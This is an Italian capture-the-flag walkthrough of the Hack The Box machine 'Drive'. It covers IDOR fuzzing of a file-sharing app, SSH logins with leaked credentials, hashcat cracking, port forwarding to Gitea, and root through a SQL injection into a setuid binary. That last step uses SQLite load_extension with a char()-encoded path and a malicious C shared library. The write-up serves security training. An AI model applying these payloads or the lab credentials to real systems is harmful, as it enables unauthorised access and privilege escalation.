Drive

Autore: Lord Shiva Aggiornamento: 26.11.2023 Tempo di lettura: 12 min.
 

Come prima cosa, eseguo una scansione con nmap:

nmap -sC -sV <ip_target>

Risultano 3 porte aperte:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Doodle Grive
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Utilizzando whatweb scan ottengo le seguenti informazioni:

http://10.10.11.235 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.235], RedirectLocation[http://drive.htb/], Title[301 Moved Permanently], nginx[1.18.0]
http://drive.htb/ [200 OK] Bootstrap, Cookies[csrftoken], Country[RESERVED][ZZ], Django, Email[customer-support@drive.htb,support@drive.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.235], JQuery[3.0.0], Script, Title[Doodle Grive], UncommonHeaders[x-content-type-options,referrer-policy,cross-origin-opener-policy], X-Frame-Options[DENY], X-UA-Compatible[IE=edge], nginx[1.18.0]

Quindi, dopo la scansione, abbiamo scoperto che ci sono tre porte aperte: la buona vecchia porta 80 per HTTP, la classica 22 per SSH e una misteriosa 3000 dove si nasconde qualcosa di interessante. Ma ci arriveremo tra poco.
Ora passiamo alle cose del web. Per prima cosa inserisco "drive.htb" nel file /etc/hosts. Non c'è bisogno di sudare eseguendo scansioni fantasiose o gobuster perché, credimi, non ci sono percorsi segreti nascosti in attesa di essere scoperti.
Basta fare la solita esercitazione: registrati, crea un account sulla piattaforma ed effettua l'accesso. Nessun problema! Arriveremo presto alle cose succose.

Come possiamo notare è una sorta di clone di Google Drive, ma con una svolta nel sistema di prenotazione. Puoi caricare un file per persone specifiche e solo loro potranno vederli. Oppure puoi essere generoso e lasciare i file senza riserve affinché le persone possano catturarli da soli. È tutto piuttosto semplice, ma ecco il bello: c’è una subdola vulnerabilità in agguato.

Per arrivare al nocciolo della questione, avviamo Burp Suite 🔥 e iniziamo ad analizzare come funziona l'intera faccenda.

Analizzando il sito sembra che per accedere a un file tutto ciò che devi fare è inserire l'ID nell'indirizzo. Possiamo trarne vantaggio eseguendo il fuzz dell'URL per scoprire file nascosti che non sono riservati a noi!!
Per far sì che ciò accada, intercettiamo la richiesta e la inviamo al nostro fidato aiutante, Burp Suite Intruder.

Dobbiamo assicurarci di aver configurato queste impostazioni in modo che corrispondano alla tua strategia di fuzzing:

Ora è il momento del gioco! Premi "Avvia attacco" e lascia che i fuochi d'artificio abbiano inizio.

Dopo alcuni minuti di suspense, iniziano ad arrivare i risultati del nostro attacco. Ora, tutto ciò che dobbiamo fare è ordinarli per stato e tenere d'occhio i seguenti tre stati chiave:

     200: Bingo! Hai vinto il jackpot e hai accesso al file.
     401: Questo è ciò che stiamo cercando principalmente. Significa che l'accesso al file è stato negato.
     500: Niente da vedere qui, gente. Indica che non esiste alcun file con quell'ID.

Quindi, concentriamoci su quei 401. È ora di concentrarsi sulle vulnerabilità!

Abbiamo un elenco promettente con gli ID 101, 112, 79, 98 e 99. Questi file potrebbero potenzialmente contenere alcuni preziosi segreti. È ora di rimboccarci le maniche e trovare un modo per accedervi.
Inizia dando la priorità a questi ID e concentrati sui codici di stato 401. Siamo sulla strada giusta e, con un po’ di tenacia e creatività, scopriremo cosa è nascosto in questi file.
Quindi, dopo aver frugato un po', ci siamo imbattuti in qualcosa di interessante. Si scopre che c'è questo collegamento /block ed è un po' un punto debole nel sistema. Sembra che non importi chi possiede il file, quindi ho avuto un'idea folle: e se potessimo riservare file a cui non dovremmo accedere?

Effettivamente, inserendo nel collegamento /ID/block riesco a leggere il file. Nell'ID 79 riesco a trovare un username e una password che provo subito in SSH... entro!!!

L'utente però non ha una flag. All'interno della cartella home vi sono 4 utenti.

Sbirciando la cartella /usr/local/bin troviamo una cosa molto interessante "gitea"!! La seconda cosa molto interessante sono i file di backup del database. Questi possono essere tesori di informazioni e spesso sono una miniera d’oro per scoprire segreti e vulnerabilità.

Attraverso l'rsync scarico tutti i file presenti nella cartella backups e vado ad analizzarli. I file 7z sono protetti da password. Adesso provo a vedere il db.sqlite3 cosa mi riserva.

Come possiamo vedere ci sono gli utenti con le password cifrate.

hashcat -m 124 -a 0 --force -O hash /usr/share/wordlists/rockyou.txt

Riesco a trovare la password di Tom. Vediamo cosa si cela dietro a questo utente.
Purtroppo provando la password ti Tom non sembra funzionare. Così provo ad analizzare Gitea.

Chissà quali segreti potrebbe nascondere? Diamo un'altra occhiata e vediamo se può portarci alla password sfuggente o a qualsiasi altra informazione preziosa.

Lanciando il comando gitea sotto /usr/local/bin troviamo che c'è configurato un server gitea su porta 3000 ma non accessibile all'esterno. Quindi dovremo utilizzare la nostra macchina per fare un ponte:

ssh martin@10.10.11.235 -L 3000::3000

Abbiamo le credenziali di GITEA

Una volta entrati in GITEA entro nell'unico repo a cercare qualcosa di interessante.

Trovo il file backup.sh che contiene la password per scompattare i backup

#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp

A questo punto ho decifrato le password dei file 7z, dove sono presenti alcuni database SQLite e abbiamo giocato con Hashcat. Alla fine, ho scoperto che “johnmayer7” è la chiave magica della macchina.
Adesso è sufficiente un rapido salto SSH nella macchina utilizzando le credenziali di Tom per catturare la flag dell'utente.

Prima flag presa: 85a...........................048

Nessun privilegio sudo, ma c'è un file molto interessante doodleGrive-cli provo ad analizzarlo:

file doodleGrive-cli

e questo è il risultato:

doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped

Ora entriamo nella parte difficile! Eseguire un'iniezione SQL su un binario è una vera sfida.
Iniziamo enumerando i file con impostazioni SUID e GUID interessanti.
Analizziamo il file doodleGrive-cli. È qui che entra in gioco Ghidra: è come la lente d'ingrandimento magica per i binari.
Testo il codice con "moriarty:findMeIfY0uC@nMr.Holmz!". Se dovesse emergere qualcosa di interessante, sono pronto ad esplorare ulteriormente.
Sembra che potremmo riuscire a sferrare un attacco RCE qui. La strada principale che sto esplorando, e forse l'unica adatta alla nostra situazione, è sfruttare la funzione load_extension in SQLite3.

Dopo alcuni test approfonditi, ho notato che l'applicazione filtra i caratteri "." e "/" da ciascun input e ha una lunghezza massima di input di 35 caratteri. Per aggirare la prima limitazione possiamo utilizzare la funzione char() per scrivere il nostro testo in ASCII. Per la seconda limitazione, devo mantenere il file a un solo carattere per risparmiare spazio.
Per iniziare, creerò un file C che contiene il codice per il comando. Nel mio caso, avevo bisogno di leggere la flag root, quindi ho eseguito un comando cat sul file root. Sfortunatamente, per qualche motivo non ho potuto eseguire una shell inversa o una shell root.

#include
#include
void sqlite3_a_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/cat /root/root.txt > /tmp/a.txt");
}

Adesso lo compilo con il seguente comando:

gcc -shared a.c -o a.so -nostartfiles -fPIC

e poi rilancio il file doodleGrive-cli

[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty                     
Enter password for moriarty:
findMeIfY0uC@nMr.Holmz!
Welcome...!

doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,97))+"
Activating account for user '"+load_extension(char(46,47,97))+"'...

doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 6
exiting...

A questo punto sarà sufficiente fare il cat di /tmp/a.txt per trovare la flag di root :-) 4eb...........................215